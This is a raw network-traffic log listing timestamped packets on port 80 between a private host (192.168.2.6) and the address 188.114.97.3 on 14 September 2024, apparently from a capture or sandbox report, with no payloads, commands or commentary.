Sep 14, 2024 18:44:13.036407948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.036418915 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.036454916 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.036808014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.036818981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.036885977 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.036947012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.036964893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.036974907 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.036986113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.036998034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.037003994 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.037009001 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.037022114 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.037033081 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.037044048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.037045002 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.037055969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.037065983 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.037095070 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.037121058 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.038331985 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.038475990 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.038489103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.038499117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.038510084 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.038530111 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.038556099 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.038566113 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.038568020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.038578033 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.038589001 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.038599014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.038604975 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.038609982 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.038620949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.038629055 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.038645983 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.038717985 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.038728952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.038729906 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.038738966 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.038743973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.038754940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.038767099 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.038777113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.038788080 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.038800001 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.038805008 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.038846970 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.039623022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.039635897 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.039647102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.039658070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.039669037 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.039697886 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.039741039 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.039743900 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.039752960 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.039762974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.039773941 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.039783955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.039793968 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.039797068 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.039861917 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.039889097 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.040267944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.040278912 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.040290117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.040299892 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.040337086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.040354013 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.040364981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.040378094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.040389061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.040400028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.040410995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.040414095 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.040421963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.040457010 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.040467978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.040477991 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.040478945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.040489912 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.040501118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.040512085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.040518999 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.040529013 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.040540934 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.040561914 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.040590048 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.040910006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.040977955 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.041079044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.041090012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.041100025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.041111946 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.041122913 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.041130066 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.041135073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.041146040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.041157961 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.041165113 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.041168928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.041182041 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.041183949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.041196108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.041208029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.041218996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.041222095 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.041229010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.041259050 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.041285038 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.042196035 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.042207003 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.042217016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.042227983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.042243958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.042254925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.042264938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.042275906 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.042288065 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.042298079 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.042298079 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.042310953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.042321920 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.042321920 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.042334080 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.042346001 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.042355061 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.042356968 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.042368889 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.042375088 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.042390108 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.042418957 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.042846918 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.043030977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.043042898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.043123960 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.043191910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.043204069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.043214083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.043226004 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.043236971 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.043248892 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.043258905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.043265104 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.043270111 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.043279886 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.043292046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.043299913 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.043303967 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.043314934 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.043317080 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.043344021 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.043373108 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.043838024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.043849945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.043859959 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.043870926 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.043883085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.043888092 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.043895006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.043905973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.043905973 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.043915987 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.043950081 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.043956041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.043967962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.043978930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.043989897 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.043999910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.044012070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.044017076 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.044023991 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.044039965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.044054031 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.044097900 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.045581102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.045593023 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.045603991 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.045614958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.045625925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.045629025 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.045636892 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.045655966 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.045667887 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.045677900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.045689106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.045697927 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.045700073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.045711040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.045722961 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.045734882 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.045746088 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.045763016 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.045789957 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.046591043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.046602964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.046612978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.046623945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.046636105 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.046646118 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.046647072 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.046658993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.046670914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.046670914 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.046681881 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.046693087 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.046696901 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.046705008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.046716928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.046726942 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.046756029 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.046783924 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.046785116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.046797037 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.046808004 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.046832085 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.046885967 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.047158957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.047182083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.047207117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.047230005 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.047239065 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.047252893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.047281981 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.047312021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.047336102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.047358990 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.047374010 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.047382116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.047411919 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.047415972 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.047440052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.047462940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.047485113 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.047486067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.047508955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.047509909 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.047569036 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.047596931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.048348904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.048373938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.048403025 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.048412085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.048437119 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.048458099 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.048466921 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.048480988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.048508883 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.048516989 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.048538923 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.048568964 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.048573971 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.048595905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.048619986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.048628092 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.048643112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.048665047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.048670053 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.048688889 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.048722982 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.048744917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.048754930 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.048773050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.048787117 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.048796892 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.048820972 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.048829079 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.048845053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.048866987 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.048878908 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.048892021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.048913002 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.048921108 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.048937082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.048954010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.048969030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.048974991 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.048983097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.048999071 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.049011946 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.049014091 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.049029112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.049042940 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.049043894 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.049060106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.049062014 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.049096107 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.049786091 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.049798012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.049808979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.049818993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.049830914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.049843073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.049841881 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.049854040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.049865007 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.049870968 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.049875975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.049887896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.049905062 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.049925089 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.049930096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.049942017 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.049952030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.049962997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.049979925 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.050009012 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.050117016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.050128937 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.050321102 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.053011894 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053023100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053034067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053045988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053056002 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053066969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053077936 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053085089 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.053088903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053100109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053102970 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.053111076 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053124905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053136110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053138971 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.053153992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053167105 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053175926 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053188086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.053199053 CEST	80	49722	188.114.97.3	192.168.2.6
